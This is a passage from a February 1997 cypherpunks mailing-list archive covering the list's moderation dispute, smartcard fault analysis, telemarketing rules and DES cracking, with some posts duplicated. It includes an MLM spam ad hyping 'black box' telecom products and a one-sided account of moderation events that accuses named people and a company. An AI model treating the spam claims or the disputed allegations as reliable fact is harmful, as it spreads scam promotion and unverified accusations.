dispersed system can't be shut down. Cypherpunks will make the networks safe for privacy. [Last updated Sun Feb 16 13:10:56 CST 1997 ichudov at algebra.com] [Adopted from the original version by John Gilmore and Eric Hughes] From omex at cyberservices.com Sun Feb 16 14:42:01 1997 From: omex at cyberservices.com (omex at cyberservices.com) Date: Sun, 16 Feb 1997 14:42:01 -0800 (PST) Subject: NEW "Black Box" Technology!! Message-ID: <199702162242.OAA05007@toad.com> This message is being brought to you by EMAIL BLASTER 2.0 software. If you would like a FREE copy of this software or any of our other HOT programs ABSOLTELY FREE call our FAX ON DEMAND number at 213-960-7822. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ I am sending this to you because I feel that you are an honest person, with a sincere desire to improve your station in life. If I am incorrect, please excuse my intrusion, and simply hit reply to be removed from my database. If you would like additional information, simply send me email with "info" in the subject area. Thanks!! NEW "Black Box" Technology !! GET IN ON THE TOP LEVEL of the Hottest New Program 1. GLOBAL COM TECHNOLOGY -GCT- is the name of the new company created to handle the basket of telecom- munications breakthrough technologies we're going to represent. It is based in Chesapeake, VA. GCT has been put together by a highly seasoned group including MAJOR individuals in the Telecom industry. They have selected Kerry J. Young, a skilled executive and administrator, to be President and CEO. They have also assembled a blue ribbon support team headed by a top level executive from one of the "big three" telephone companies. This combined powerhouse of high-level Telecom experience, management, administration, marketing and financial depth promises to make GCT one of the world's premier telecommunications companies. Their mission: To create the world's largest MLM network to deliver advanced Telecom technology at the most competitive price. In short, they plan on delivering products that will stand the industry on its ear! 2. GCT has set up a 24-hour information line: 415-273-6121. Call it NOW! It is powerful. It will introduce several of the key players and answer questions about the products, how they work and how our business will be structured. 3. The company has announced the official launch date: Monday, March 3, 1997. On Saturday, the 15th of March, GCT will be holding simultaneous training's/meetings in eight cities across the United States. The locations are: Atlanta + Chicago + Dallas + Honolulu + Los Angeles + Orlando + Seattle + Washington, DC. The company will add additional cities as you indicate your preference. Seating is extremely limited and must be reserved in advance by calling an 800# which will be made available within a few days on the GCT hotline. Price: $59 - includes Distributor Kit! 4. What will we be offering? We will have a FULL RANGE of products -- with far more advanced technology and far better pricing than is currently being offered by the several, hastily launched GCT wannabees. The first products announced include a prepaid calling card at 9.9 cents per minute, long distance service at 7.9 cents and WE HAVE the long awaited "black box" technology! It comes in three versions (from basic to advanced) and will wholesale: $39 - $69. In addition, there are several more advanced products which will be brought into our portfolio. As more information becomes available, it is increasingly clear: We are poised to bring the world what everyone has been promised -- but ONLY WE CAN DELIVER! 6. Beware of other companies who have attempted to preempt GCT by implying they can duplicate the various products that we already have on board. This program is not merely an application form and compensation plan offering a single, 7.9 cent product. GCT is a major new Telecom company assembling a full range of leading edge telecommunications technology. The success of this program requires the contacts and know-how of the Telecom industry that can only come from years of experience at the highest levels. Bringing these exceptional products to market is not a project for well-meaning amateurs. 7. The only way to participate in the program described above is to join GCT. They are the ONLY COMPANY with the contracts in hand, technical skill and telecommunications experience to deliver. Global Connections is a group of very experienced marketers and networkers who have an Independent Distributorship positioned directly at the top level of GCT. 8. We are signing up the frontline on Monday & Tuesday... I can place you on the top levels... Email me for registration form at: omex at cyberservices.com Put "BLACK BOX" in the subject box. From bs-org at c2.net Sun Feb 16 14:42:56 1997 From: bs-org at c2.net (bs-org at c2.net) Date: Sun, 16 Feb 1997 14:42:56 -0800 (PST) Subject: DES and RSA crypto hardware from the free world Message-ID: <199702162242.OAA05065@toad.com> At 21:32 1997-02-15 -0200, John Ioannidis wrote: Sorry to correct you, but uti-maco is an old german company ... >I believe uti-Maco (a belgian company) has been using the Pijnenburg chips >for their boards. However, last I checked with them (about half a year ago) >the price of the boards was pretty steep -- of the order of $1K. > >Anyway, if the boards Peter is referring to are ready in the next couple >of months, I volunteer to write drivers for Linux and *BSD*. > >/ji > From roach_s at ALPH.SWOSU.EDU Sun Feb 16 14:43:00 1997 From: roach_s at ALPH.SWOSU.EDU (Sean Roach) Date: Sun, 16 Feb 1997 14:43:00 -0800 (PST) Subject: Excerpt on SPAM from Edupage, 11 February 1997 Message-ID: <199702162243.OAA05066@toad.com> At 04:45 PM 2/15/97 -0600, Igor Chudov wrote: >Roy M. Silvernail wrote: ... >> Or that the money wasn't there in the first place (absent a trusted >> signature system), or the key doesn't exist, or the wrong key is >> offered, or the sender put the same e-dollar on all 60000 mails sie >> sent and it's already been redeemed. > >Well, if the trusted party performs the encryption by both recipient's >public key and the "retrieval key", the problem that you mention can >be avoided. Yeah. I as a spam artist send the "proof" message through the e-cash verification center with the Send To: field returning it to a mail exploder. Each receipient gets the same dollar. This assumes that the To: field is not hashed into the verification signature, and that the verification works like a glorified remailer. (cash added on a separate channel). From jya at pipeline.com Sun Feb 16 14:43:13 1997 From: jya at pipeline.com (John Young) Date: Sun, 16 Feb 1997 14:43:13 -0800 (PST) Subject: DFA Message-ID: <199702162243.OAA05104@toad.com> Paul Bell wrote: >does anyone know what has happened to DFA, and the people who >just a few months ago were publishing such encouraging results? There seems be sustained investigation of DFA, offensive and defensive, by Biham and Shamir, by Anderson and Kuhn, by the Bellcore team, by Quisquater and others. However, the smartcard manufacturers appear to have a role in dampening publicity about the ongoing research, or at least diminishing the claims of effectiveness of DFA. Carol Francher, of Motorola, for example, writes in February IEEE Spectrum: Technology is a wonderful thing but criminals, too, can use it as new equipment and techniques become available or less expensive the barriers to cracking a system may weaken. Recently Bellcore announced a paper, "Cryptanalysis in the presence of hardware faults" (available at www.bellcore.com), that proposed a theoretical method for breaking an asymmetric encryption code once a computer (or a smartcard microcontroller) had been forced into faulty behavior. The Smart Card Forum, a multi-industry membership organization headquartered in Tampa, Fla., has stated that it does not regard this approach as a real-world risk, since in smartcard applications more than one technique is used to protect the security of the entire system. But the Bellcore methodology for breaking algorithms -- as well as similar theoretical approaches, such as the one taken by two Israeli researchers, Eli Biham and Adi Shamir -- highlights the need to analyze and evolve the security of any system continually. -- "In your pocket: smartcards." Several of the DFA-type researchers have commented on the smartcard industry's reluctance to publicize security weaknesses when the push is on to increase consumer trust and use; see, for example, Anderson and Kuhn at: http://www.cl.cam.ac.uk/users/rja14/tamper.html Quisquater and the SG group also note the reluctance of smartcard mass-marketers to own up to security shortcomings of which their own engineers know and fret. Meanwhile, the DFA proponents and opponents are eagerly absorbing the continuing DFA-relatged reports, quietly watching one another, and both sides eying the booming smartcard market for lucrative rewards, as Ms. Francher suggests: licit and il. From ichudov at algebra.com Sun Feb 16 14:43:17 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Sun, 16 Feb 1997 14:43:17 -0800 (PST) Subject: Thanks to John Gilmore for running cypherpunks mailing list Message-ID: <199702162243.OAA05112@toad.com> Hi, cypherpunks at toad.com goes down in four days. I would like to thank John Gilmore for all his efforts that he spent to run the list. Administering a huge mailing list like cypherpunks is a tough job, requiring a lot of dedication, time and patience. John, along with other cypherpunks, created a unique online community that generated many valuable ideas. This community helped a great deal to increase crypto awareness of the masses. I personally joined cypherpunks for very arkane reasons, but later found out a lot of useful information. The moderation experiment failed by many reasons, but the last month should not distract us from what John did over last several years. Again, thanks to John for his work. - Igor. From boursy at earthlink.net Sun Feb 16 14:44:00 1997 From: boursy at earthlink.net (ISP_Ratings) Date: Sun, 16 Feb 1997 14:44:00 -0800 (PST) Subject: Proposed info file In-Reply-To: <199702161929.NAA29420@manifold.algebra.com> Message-ID: <33078E8F.378E@earthlink.net> Igor Chudov @ home wrote: > > Hi, > > The text below is what I wrote for cypherpunks at algebra.com to be > sent to new subscribers. Feel free to criticize. > > - Igor. > > @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ > > About cypherpunks mailing lists > ------------------------------- It all sounds very interesting especially given what's been going on. About how many posts a day can a subscriber reasonbly expect in their mailbox if one were to subscribe? Steve From dave at kachina.jetcafe.org Sun Feb 16 14:56:01 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Sun, 16 Feb 1997 14:56:01 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702162256.OAA05725@toad.com> Kent Crispin writes: > Dave is offering a single mailing list, which, while I am sure Dave is > a great person, still represents a single point of control and a > single point of failure. A distributed mailing list has a potential > for being much more robust, and for supporting a wide range of > viewpoints. I can also offer my participation in the distributed mailing list, if that is what it takes to get cypherpunks free of control interests again. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet A poor man shames us all. From stewarts at ix.netcom.com Sun Feb 16 14:56:08 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sun, 16 Feb 1997 14:56:08 -0800 (PST) Subject: Bad Headers Added to John Young postings via owner-cypherpunks@sirius.infonex.com Message-ID: <199702162256.OAA05745@toad.com> Hi! The following headers are from a posting by John Young that looks like it was sent to cypherpunks at toad.com, forwarded to cypherpunks at sirius.infonex.com and/or cypherpunks at cyberpass.net, and has the Reply-To: header set to reply to cypherpunks at toad.com instead of to John Young.... It looks like the obvious implementation of cypherpunks-style mail header patching, but isn't quite right..... Leads to people sending their John Young mailbot requests to cypherpunks at toad.com instead, as some well-known cypherpunks have mistakenly done recently :-) ===================================================== Return-Path: X-Sender: jya at pop.pipeline.com Date: Sat, 15 Feb 1997 09:04:14 -0500 To: cypherpunks at toad.com From: John Young Subject: FBI_100 Sender: owner-cypherpunks at sirius.infonex.com Reply-To: cypherpunks at toad.com X-List: cypherpunks at cyberpass.net 2-15-97. NYP: "Phone Companies Balk At Latest Plan by FBI." Markoff. ============================================== # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From boursy at earthlink.net Sun Feb 16 14:56:08 1997 From: boursy at earthlink.net (ISP_Ratings) Date: Sun, 16 Feb 1997 14:56:08 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702162256.OAA05746@toad.com> Dave Hayes wrote: > >> censorship on cypherpunks. However, I think most peoples' opinions >> didn't really turn, or at least people didn't realize how serious >> things were and didn't really care, until Tim May [someone the many >> freedom-knights hate] started criticizing this censorship in extremely >> reasonable messages that were suppressed from both the -edited and >> -flames mailing list. > > Assuming that is true, that people do not care about censorship until > a person with an arbitrary reasonability says something, I would say > that such a group cares not about free speech...even if they think > they do. I agree--and again that is sad. Hopefully many have learned from the experience--that does on occassion really happen. Steve From rah at shipwright.com Sun Feb 16 14:56:11 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sun, 16 Feb 1997 14:56:11 -0800 (PST) Subject: FC97: Post-strike airfares Message-ID: <199702162256.OAA05751@toad.com> One more datablip about FC97 and I'll shut up a bit. Having just promised gratuitously cheap airfares to Anguilla/St. Maarten, I went and called the local branch of American Express Travel and got some actual prices. Their number is 617-868-2600, but AEXP-T has branches everywhere, and, I think, an 800 number, so you might want to get ahold of them that way... Anyway, here's what I got, as of about 20 minutes ago: For departures 2/22/97 with return 3/1/97, Boston Anguilla $ 864 Boston St. Maarten 851 (+ Taxi and short ferry ride to Anguilla) San Francisco Anguilla 828 San Francisco St. Maarten 748 Heathrow Anguilla 1,315 (looks like the strike didn't affect you folks, sorry) All in all, that's as good as the prices we were getting for 14 day advance purchase earlier this month. Not bad, but not completely spectacular. Note that it's cheaper to get to Anguilla or St. Maarten from San Francisco than it is from Boston, so y'all don't have an excuse. Well, possibly seat fatigue, but Sunday on the beach will fix that. I'll check tomorrow to see if the airline yield management software war gives us something better after the weekend's over. Only if fares are significantly lower will I post something here about it, in the interest of nomex conservation. :-). If you *do* decide to fly while the seats are hot, don't forget to register for FC97 first, so we can plan for meals and stuff: Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From dave at kachina.jetcafe.org Sun Feb 16 14:56:13 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Sun, 16 Feb 1997 14:56:13 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702162256.OAA05752@toad.com> Against Moderation writes: > I believe homophobia is a great way to bring out the censors in > people. However, inducing censorship is only part of fighting it. You assume that it is an enemy to be fought. While censorship is clearly undesireable, making it an enemy only strengthens it. > You also need respectable people to some in, argue cogently against > the dangers of censorship, perhaps even get some extremely reasonable > articles suppressed, and then spread the word about it. I find the > freedom-knights tactics' extremely lacking in this second, "clean up > and analyze the mess" phase. Part, if not all, of that lack is due to our knowledge of the subjective standard of "respectability" that human beings have. That's the same differentiation used in many censorship attempts, and if we made or supported such differentiations this would undermine any anti-censorship actions we could take. The meta-points are: - What is reasonable to you may or may not be reasonable to me. That is why we refrain from censoring others, since we have no absolute standard of reasonability. - You appear to be concerned with convincing others. We are not concerned with that, since we know that the default for most others is to be invincibly unconvincable. We are simply here to be living models for an arbitrary code of behavior...that behavior being outlined in the Freedom Knights FAQ. - Please remember that you have to judge who is and is not a Freedom Knight by their -actions- and not their claims. > censorship on cypherpunks. However, I think most peoples' opinions > didn't really turn, or at least people didn't realize how serious > things were and didn't really care, until Tim May [someone the many > freedom-knights hate] started criticizing this censorship in extremely > reasonable messages that were suppressed from both the -edited and > -flames mailing list. Assuming that is true, that people do not care about censorship until a person with an arbitrary reasonability says something, I would say that such a group cares not about free speech...even if they think they do. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet Two men were fighting outside Nasrudin's window at dead of night. Nasrudin got up, wrapped his only blanket around himself, and ran outside. As he tried to reason with the drunks, one snatched his blanket and both ran away. "What were they arguing about?" asked his wife when he went in. "It must have been the blanket. When they got that, the fight broke up." From jer+ at andrew.cmu.edu Sun Feb 16 14:57:48 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Sun, 16 Feb 1997 14:57:48 -0800 (PST) Subject: Questions about Naughty Robot (fwd) Message-ID: <199702162257.OAA05806@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Genocide writes: > I got this message (on a system that I am webmaster on) regarding > something that sounded so stupid it made me chuckle...Naughty Robot...I > have enclosed the message below. If any of you have any idea what this > user is talking about, any info would be appreciated. > >> I had a customer in Tennesee who got an E-Mail saying that Naughty Robot > >> has infected your host computer and consider all your credit cards > >> stolen. > >> > >> I think it's a hoax, but the Admins at VR-NET Cafe say that they have > >> been hit with it and say that it's a script that does hack into the > >> IPS's server and sits back and watches the users browse the web and take > >> the info they see on there screen and dump to some remote server?? > >> > >> I was wondering if you have heard about it...and if so can you direct to > >> the right locations on the web to get the "Official" Scoop on it? It could theoretically be a JavaScript that makes a teeny tiny window and reports back stuff that it really shouldn't be able to see, I think Netscape fixed that bug, though. FWIW, Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwd5rskz/YzIV3P5AQF+7wMAwPZp89E0JQkI9OOGbqMULKTfEfyE6Edf 2K+U0l3I86aM6AkS6SeFbj2Nc6AwD3yXbFHR+d3Opn3yJcwGaLrCDtqM3qfeg8vR V3D3KWXVNai4ptHwB5ldM2GT+IQP0VJg =veqx -----END PGP SIGNATURE----- From ichudov at algebra.com Sun Feb 16 14:57:55 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Sun, 16 Feb 1997 14:57:55 -0800 (PST) Subject: Proposed info file In-Reply-To: <33078E8F.378E@earthlink.net> Message-ID: <199702162250.QAA32228@manifold.algebra.com> ISP_Ratings wrote: > Igor Chudov @ home wrote: > > About cypherpunks mailing lists > > ------------------------------- > > > It all sounds very interesting especially given what's been going > on. About how many posts a day can a subscriber reasonbly expect > in their mailbox if one were to subscribe? > About a hundred, maybe. It is QUITE A LOT. If you are not interested in applications of cryptography, the list may not be as interesting. All the bickering that you heard is mostly rotating around crypto use. - Igor. From boursy at earthlink.net Sun Feb 16 15:26:10 1997 From: boursy at earthlink.net (ISP_Ratings) Date: Sun, 16 Feb 1997 15:26:10 -0800 (PST) Subject: Proposed info file Message-ID: <199702162326.PAA06963@toad.com> Igor Chudov @ home wrote: > > Hi, > > The text below is what I wrote for cypherpunks at algebra.com to be > sent to new subscribers. Feel free to criticize. > > - Igor. > > @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ > > About cypherpunks mailing lists > ------------------------------- It all sounds very interesting especially given what's been going on. About how many posts a day can a subscriber reasonbly expect in their mailbox if one were to subscribe? Steve From ichudov at algebra.com Sun Feb 16 15:26:15 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Sun, 16 Feb 1997 15:26:15 -0800 (PST) Subject: Proposed info file Message-ID: <199702162326.PAA06979@toad.com> ISP_Ratings wrote: > Igor Chudov @ home wrote: > > About cypherpunks mailing lists > > ------------------------------- > > > It all sounds very interesting especially given what's been going > on. About how many posts a day can a subscriber reasonbly expect > in their mailbox if one were to subscribe? > About a hundred, maybe. It is QUITE A LOT. If you are not interested in applications of cryptography, the list may not be as interesting. All the bickering that you heard is mostly rotating around crypto use. - Igor. From gbroiles at netbox.com Sun Feb 16 15:31:21 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Sun, 16 Feb 1997 15:31:21 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702162113.NAA07700@kachina.jetcafe.org> Message-ID: <3.0.1.32.19970216153218.006ce5d0@mail.io.com> -----BEGIN PGP SIGNED MESSAGE----- At 01:13 PM 2/16/97 -0800, Dave Hayes wrote: >I can also offer my participation in the distributed mailing list, if >that is what it takes to get cypherpunks free of control interests again. I think it would be more accurate to say that this is what it takes to get cypherpunks into the hands of different control interests. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMweY6P37pMWUJFlhAQGdewf/Rvli6pc1PId0xSK9hCII4exlWGetoU66 rGvQ7kJNh9O7zeWz8gVFIk7kXmDRKNBfkDDq4nuf64O4fWnhGP1xeuSoUQhqI5mw YupTErFN0uPlPRbOrTCPeVBdHbDiuKniMTlvHoZnB00sS+/q5rKCHILhRzDRjgxZ eglFvVZYttqk2s/YE/OCgWpYDAthLzmgK3GbKUh3ZuyJYWcLrsmHqwCZUgdIztWY rj1QuLcVcqyXsZjpC2nf75BU1l/WoAcq0MrEzSQeT6qXvJmvgMzrF8GtZ/mTheO6 U9E6kAmKd7xwfe4VE3KPKWrAppDi8vMTyUqSKTSi/Lz8ZYkYGUhUvw== =tT97 -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From cynthb at sonetis.com Sun Feb 16 15:37:17 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Sun, 16 Feb 1997 15:37:17 -0800 (PST) Subject: More on digital postage Message-ID: <199702162336.SAA28881@homer.iosphere.net> On Sat, 15 Feb 1997 at 23:30:17 Timothy C. May wrote: > At 1:09 AM -0500 2/16/97, Cynthia H. Brown wrote: > > >Here in Canada, the CRTC (Canadian Radio & Telecomms Commission) put > >out rules limiting the time of day, etc. for phone spam (voice or > >fax). Does anyone out there have the specifics of the CRTC regs? > > "Spam" has rapidly become one of those overused, overloaded, meaningless > words. Everything bad on the Net these days is labelled "spam." > > For the phone example in Canada, just what is "spam"? > > -- Is it the semi-traditional definition of "spam," i.e., a phone call made > to thousands of sites? (At the same time? Sequentially? How?) > > -- Is it a robo-dialer, with no human at the other end? > > -- Or is it merely an "unwanted phone call"? I used "spam" to mean scripted commercial solicitations, by a human or robot, based on a list of names and numbers. I'm not sure whether this is the same definition as in the legislation. > As I see it, the danger of criminalizing "unwanted phone calls" is obvious. > (Though obviously the courts and prisons are not about to be filled up with > people who committed the heinous crime of making an unrequested phone call.) > > The danger of all "junk mail" and "junk phone call" laws is that they give > power to the government to decide on what is junk and what is not. My understanding is that the legislation restricts commercial solicitations by phone to: - certain times of day (not after 9 PM? unsure) - one initial call, and no follow-ups if the person explicitly asks the caller to never phone this number again (again, unsure of legal details) I don't consider this scenario overly restrictive, since it gives _them_ a chance to sell their product, and _me_ a chance to have them delete my name from their database. Unfortunately, without some formal means of redress, very few telemarketers seem to remember that they are unlikely to find new customers if they call at 7 AM Saturday for the third time this month. What means of redress would you suggest, in the absence of legislation / fines, to someone who has been called repeatedly by a telemarketer? This person is not a current customer and so cannot withdraw his/her business. Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From aba at dcs.ex.ac.uk Sun Feb 16 15:52:38 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Sun, 16 Feb 1997 15:52:38 -0800 (PST) Subject: Moderation experiment and moderator liability Message-ID: <199702162349.XAA00536@server.test.net> There appears to be a bit of a hush up surrounding the circumstances of the pause in the moderation experiment and subsequent change of moderation policy. To clear the air, I think it would be kind of nice if the full story were told, so I'll gather here a history as I understand it. Information from my archives (those I have), and from asking around in email. I realise that some of the actions that I am claiming of participants in this sequence of events seem hard to believe given their high reputation capital. I was myself initially dubious on the strength of the reputation capital of those being critisized. However the below is the sequence of events as close as I can determine. I welcome being proven wrong on any points. Events: 1. Dimitri Vulis posted a lot of off topic posts over a period of time 2. Dimitri reposted a couple of 50k Serdar Argic revisionist articles 3. Dimitri challenged John Gilmore to shut him up 4. John unsubscribed Dimitri, and modified majordomo at toad.com to siltently ignore Dimitri's attempts to resubscribe. Dimitri could still post, and presumably read cypherpunks with a different email address or via an archive. It was a token unsubscription only. 5. When Dimitri figured out what John had done, he made many posts denigrating John as a censor 6. Much discussion ensued critisizing John for blocking Dimitri 7. Over Christmas some joker subscribed cypherpunks at toad.com to a load of sports mailing lists, Hugh Daniels and John cleaned up the mess 8. Followed a long thread on hardening lists against spam attacks 9. John made a post to the list announcing that the list would be moderated for one month from Jan 11 as an experiment, and included Sandy Sandfort's proposed moderatation policy and offer to act as moderator. It appeared that the moderation experiment was Sandy's suggestion, and that John had agreed to go along with it. 10. Some discussion both pro and con of moderation, and the technical , free speech, and legal aspects followed 11. Moderation started Jan 19, the main list became the moderated list 12. Lots of people complained about the moderation, some defended it Tim May quietly unsubscribed 13. Some people complained about inconsistency in moderation -- some articles which went to flames were not flamish, but made by posters with low reputation capital, or were following up to posts which were flamish. 14. After a while some people commented on Tim's absence, and sent him mail asking what happened. Tim posted an article explaining that he had left because of the imposed moderation without discussion. 15. John followed up with a post defending the moderation experiment, and arguing for it's popularity (he claimed as evidence the number of posters who had not taken the trouble to move to the unedited list). 16. Dimitri posted an article where he claimed that there was a security flaw in Stronghold. Stronghold is C2Nets commercial version of the freeware Apache SSL web server. Sandy is employed by C2Net. 17. Sandy dropped the posting entirely -- it went to neither cypherpunks (edited), nor cypherpunks-flames. He considered that forwarding the posting would have made him legally liable. Sandy is a lawyer by profession. He did not explain this situation on the list. 18. Tim May had by now subscribed to cypherpunks-flames, and posted several follow-ups to Dimitri's posting, discussing the issue of Dimitri's post being dropped, and stated that Dimitri's posting was not flamish, and should not have been dropped in his opinion. Tim's postings were also silently dropped, going to neither of cypherpunks (edited), and cypherpunks-flames. 19. Sandy made an announcement that he was ending his participation in the moderation experiment. Still no explanation of why posts were dropped, or even admission that they were. 20. The two moderated cypherpunks lists (cypherpunks and cypherpunks-flames) went dead for some time. 21. Tim received a warning from C2Net's lawyers that if he did not desist from mentioning that Dimitri had posted an article criticising a C2Net product that he would be sued! 22. John posted a statement where he explained Sandy's sudden announcement of ending his particpation. John explained that Sandy had "hit a pothole in the moderation experiment when Mr. Nemesis submitted a posting containing nothing but libelous statements about Sandy's employer". Sandy did not drop Johns posting even though it covered the same topics that had resulted in Tim's posts being dropped, and resulted in Tim receiving legal threats from C2Net. In the same post John said that he had come to the conclusion that he was no longer willing to host the cypherpunks list. In this post John announced that Sandy had been persuaded to continue to moderate for the remainder of the moderation period, and gave the new policy. The changes were that anything other than crypto discussion and discussion of forming a new cypherpunks list would go to flames, and anything that Sandy thought was libelous would be dropped silently. 23. Sandy posted a statement affirming that he would continue to moderate, and that if any cypherpunks wished to discuss his prior moderation policy and performance as a moderator that they do it on new lists which they create themselves. (If Sandy's current moderation criteria mean that he feels obliged to forward this post to cypherpunks-flames as off-topic, or even to silently drop it from both moderated lists, so be it. I will simply repost it later, when the moderation experiment is over on one of the new lists. In the event of myself receiving legal threats, I shall simply post it via a remailer, or rely on someone else to do so. C2 does not appear to be running any remailers at the moment, otherwise I would use a remailer hosted at c2.net as the exit node in the remailer chain.) The positive outcome of all this has been to make the cypherpunks list more resilient to legal attack. The new distributed list seems to be progressing well, and will be less liable to attack. Filtering services continue, as they should. And alt.cypherpunks has been created as a forum ultimately resistant to legal attack. Also I should say that I would hope that no one holds any long term animosity towards any of the players in this episode, many of the people have been very prolific in their work to further online privacy and freedom, and I hope that we can all put this chapter behind us. Now more fun things... Anyone checked out the DES breaking project? Over on http://fh28.fa.umist.ac.uk/des/ are details of mailing lists where people are organising breaking RSADSIs DES challenge. For the RC5/32/12/6 (48 bit RC5) break which took 13 days, it seems there were a peak of 5000 machines involved. At this rate it will take 8 months to break DES. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 -----BEGIN PGP SIGNED MESSAGE----- At 01:13 PM 2/16/97 -0800, Dave Hayes wrote: >I can also offer my participation in the distributed mailing list, if >that is what it takes to get cypherpunks free of control interests again. I think it would be more accurate to say that this is what it takes to get cypherpunks into the hands of different control interests. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMweY6P37pMWUJFlhAQGdewf/Rvli6pc1PId0xSK9hCII4exlWGetoU66 rGvQ7kJNh9O7zeWz8gVFIk7kXmDRKNBfkDDq4nuf64O4fWnhGP1xeuSoUQhqI5mw YupTErFN0uPlPRbOrTCPeVBdHbDiuKniMTlvHoZnB00sS+/q5rKCHILhRzDRjgxZ eglFvVZYttqk2s/YE/OCgWpYDAthLzmgK3GbKUh3ZuyJYWcLrsmHqwCZUgdIztWY rj1QuLcVcqyXsZjpC2nf75BU1l/WoAcq0MrEzSQeT6qXvJmvgMzrF8GtZ/mTheO6 U9E6kAmKd7xwfe4VE3KPKWrAppDi8vMTyUqSKTSi/Lz8ZYkYGUhUvw== =tT97 -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From cynthb at sonetis.com Sun Feb 16 16:11:04 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Sun, 16 Feb 1997 16:11:04 -0800 (PST) Subject: More on digital postage Message-ID: <199702170011.QAA08626@toad.com> On Sat, 15 Feb 1997 at 23:30:17 Timothy C. May wrote: > At 1:09 AM -0500 2/16/97, Cynthia H. Brown wrote: > > >Here in Canada, the CRTC (Canadian Radio & Telecomms Commission) put > >out rules limiting the time of day, etc. for phone spam (voice or > >fax). Does anyone out there have the specifics of the CRTC regs? > > "Spam" has rapidly become one of those overused, overloaded, meaningless > words. Everything bad on the Net these days is labelled "spam." > > For the phone example in Canada, just what is "spam"? > > -- Is it the semi-traditional definition of "spam," i.e., a phone call made > to thousands of sites? (At the same time? Sequentially? How?) > > -- Is it a robo-dialer, with no human at the other end? > > -- Or is it merely an "unwanted phone call"? I used "spam" to mean scripted commercial solicitations, by a human or robot, based on a list of names and numbers. I'm not sure whether this is the same definition as in the legislation. > As I see it, the danger of criminalizing "unwanted phone calls" is obvious. > (Though obviously the courts and prisons are not about to be filled up with > people who committed the heinous crime of making an unrequested phone call.) > > The danger of all "junk mail" and "junk phone call" laws is that they give > power to the government to decide on what is junk and what is not. My understanding is that the legislation restricts commercial solicitations by phone to: - certain times of day (not after 9 PM? unsure) - one initial call, and no follow-ups if the person explicitly asks the caller to never phone this number again (again, unsure of legal details) I don't consider this scenario overly restrictive, since it gives _them_ a chance to sell their product, and _me_ a chance to have them delete my name from their database. Unfortunately, without some formal means of redress, very few telemarketers seem to remember that they are unlikely to find new customers if they call at 7 AM Saturday for the third time this month. What means of redress would you suggest, in the absence of legislation / fines, to someone who has been called repeatedly by a telemarketer? This person is not a current customer and so cannot withdraw his/her business. Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From aba at dcs.ex.ac.uk Sun Feb 16 16:26:08 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Sun, 16 Feb 1997 16:26:08 -0800 (PST) Subject: Moderation experiment and moderator liability Message-ID: <199702170026.QAA09134@toad.com> There appears to be a bit of a hush up surrounding the circumstances of the pause in the moderation experiment and subsequent change of moderation policy. To clear the air, I think it would be kind of nice if the full story were told, so I'll gather here a history as I understand it. Information from my archives (those I have), and from asking around in email. I realise that some of the actions that I am claiming of participants in this sequence of events seem hard to believe given their high reputation capital. I was myself initially dubious on the strength of the reputation capital of those being critisized. However the below is the sequence of events as close as I can determine. I welcome being proven wrong on any points. Events: 1. Dimitri Vulis posted a lot of off topic posts over a period of time 2. Dimitri reposted a couple of 50k Serdar Argic revisionist articles 3. Dimitri challenged John Gilmore to shut him up 4. John 